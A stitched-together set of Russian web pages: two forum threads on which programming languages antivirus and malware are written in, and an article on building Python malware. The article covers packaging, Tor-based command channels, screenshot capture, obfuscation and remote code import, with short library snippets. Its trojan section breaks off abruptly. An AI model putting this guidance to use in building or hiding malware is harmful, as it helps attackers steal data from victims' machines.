Привет!
Хотел бы узнать, на каком языке программирования пишут антивирусные программы, и если не секрет, на чем именно сейчас пишут вирусы?
- Вопрос задан более трёх лет назад
- 1998 просмотров
1 комментарий
Простой 1 комментарий
А кто вообще видел вирус? Я уже лет 15 не видел ни одного и даже не слышал.
А если речь о вредоносном ПО, то хоть на макросах, без разницы.
Решения вопроса 1
System Integrator
Нод был (а может, и есть) на Ассемблере. А так — Сишка, Кресты.
По вирусам не советую спрашивать, а то прибежит толпа мамкиных хаккиров и будет пороть чушь.
Ответ написан более трёх лет назад
Нравится 1 5 комментариев
И много в том НОДе было на ассемблере? А в современных нет ассемблера совсем?
Какой язык программирования выбрать начинающим? (и первая практика кодирования — пишем бота)
Ezhyg, не знаю, у меня исходников нет 🙂
Рональд Макдональд, только некоторые части ядра, даже не всё. Потому он и был такой шустрый. Но ведь тот же Гуй писать на ассемблере это слегка перебор.
Ezhyg, ну это очевидно.
Ответы на вопрос 2
Спрашивать о том, на каком языке пишут тот или иной софт — бессмысленно, кроме отдельных случаев. Специальных языков для антивирусов не существует. Любой компилируемый язык общего назначения — подойдёт.
Ответ написан более трёх лет назад
Нравится 2 2 комментария
Нет, я же не спрашивал о какич-то конкретных языках, я спросил какие более удобны и лучше подходят. Но все-равно спасибо!
KodeR0, возможно, вы говорите на языке, который только похож на русский, но когда по-русски спрашивают «на каком языке», в этой фразе пояснение «я не спрашивал о конкретных языках» не содержится.
Источник: qna.habr.com
На каком языке программирования пишутся утилиты dr web и сами антивирусы?
Отправлено 15 Май 2018 — 21:30
Привет всем ! Увлекаюсь программированием и собственно хочу узнать на каких языках пишется ПО dr web? Просьба знатокам ответить содержательнее
ЛУЧШИЕ ЯЗЫКА для #ХАКЕРА! — ответ от #профи!
#2
SergSG
Отправлено 15 Май 2018 — 21:54
Си++, скрипты, html. Если последние два можно назвать языками.
#3
IlyaS
Отправлено 15 Май 2018 — 22:43
Конечно же, на Go
#4
Konstantin Yudin
Konstantin Yudin
Отправлено 16 Май 2018 — 10:39
98% это c++ не ниже 11 стандарта. Драйвера на с. Маки само собой с участием objective-c, но даже там с++. javascript и т.п. для консолей и т.п. Lua для написания логики приложении. .net языки в плагинах. Есть питон, go, perl, php и .т.д.
Язык это лишь средство выражения и решения конкретной задачи. Для программистов важен не язык а алгоритмы и образ мышления. Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.
Сообщение было изменено Konstantin Yudin: 16 Май 2018 — 10:39
With best regards, Konstantin Yudin
Doctor Web, Ltd.
#5
SergSG
Отправлено 18 Май 2018 — 20:25
Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.
Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.
#6
Afalin
Отправлено 18 Май 2018 — 22:35
Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.
Не писать же теперь всё подряд на Си без использования этих нескольких мест.
Семь раз отрежь – один раз проверь
#7
SergSG
Отправлено 19 Май 2018 — 18:16
Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.
Не писать же теперь всё подряд на Си без использования этих нескольких мест.
Ну, можно писать на html, который, встроенный в приложение и написанный на Си браузер, будет транслировать в системные вызова, написанные тоже на Си.
В итоге — тяжелое, тормозное, неуклюжее нечто. Но да, писать проще. Наверно.
#8
Internet
Отправлено 19 Май 2018 — 21:42
Си++, скрипты, html. Если последние два можно назвать языками.
html — уж точно не язык программирования)))
#9
SergSG
Отправлено 19 Май 2018 — 21:57
Си++, скрипты, html. Если последние два можно назвать языками.
html — уж точно не язык программирования)))
Формально да. Хотя, скорее это вопрос терминологии.
Во всяком случае, его полно в приложениях у многих продуктов.
#10
Konstantin Yudin
Konstantin Yudin
Отправлено 21 Май 2018 — 11:07
Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.
Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.
где ты С увидел? Даже в ядре винды уже многие вещи переписаны на C++, драйвера, само ядро частями, а уж в юзермоде и подавно все на плюсах уже. С в сплывает только в убогом экспортном апи, который все ни как не могут заменить.
With best regards, Konstantin Yudin
Doctor Web, Ltd.
#11
SergSG
Отправлено 21 Май 2018 — 14:51
Мое мнение что мы слишком увлеклись C++, его долю надо снижать, а то кодят на нем все что придется, как будто ничего другого нет, и иногда это такая боль.
Все равно, в конечном итоге все сведется к писанному на Си. Только через одно место. Или даже через несколько.
где ты С увидел? Даже в ядре винды уже многие вещи переписаны на C++, драйвера, само ядро частями, а уж в юзермоде и подавно все на плюсах уже. С в сплывает только в убогом экспортном апи, который все ни как не могут заменить.
Для меня Си == Си++. Зачем плюсы рисовать, и так понятно — про чистый Си все уже давно забыли. Разве что, в контроллерах он себя неплохо чувствует.
#12
basid
Отправлено 21 Май 2018 — 15:51
Для меня Си == Си++. Зачем плюсы рисовать, и так понятно — про чистый Си все уже давно забыли. Разве что, в контроллерах он себя неплохо чувствует.
Не надо проецировать собственных тараканов на реальную действительность: C и C++, как были, так и остались разными языками.
«Plain C» не забыт и вполне себе развивается.
#13
SergSG
Отправлено 21 Май 2018 — 18:06
Буквоеды.
#14
basid
Отправлено 21 Май 2018 — 18:20
Да-да — генерал это такой старый прапорщик, а так — всё одинаково.
Читают тему: 0
0 пользователей, 0 гостей, 0 скрытых
Ответить на цитированные сообщения Очистить
- Dr.Web forum
- → Русские форумы
- → Свободное общение
- Privacy Policy
- Terms https://forum.drweb.com/index.php?showtopic=329739″ target=»_blank»]forum.drweb.com[/mask_link]
Пишем вирусы и зловредное ПО на Python
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient hostname = ‘ifconfig.me’ # It’s possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b’GET / HTTP/1.0rnHost: %srnrn’ % hostname.encode()) recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py «Grab the whole screen» import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save(«fullscreen.png»)
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo([‘package1′,’package2′,’package3’], ‘http://my-codes.example.com/python_packages’): . import package1 .
>>> with httpimport.github_repo(‘operatorequals’, ‘covertutils’, branch = ‘master’): . import covertutils . # Also works with ‘bitbucket_repo’ and ‘gitlab_repo’Трояны
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя.
Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Источник: uproger.com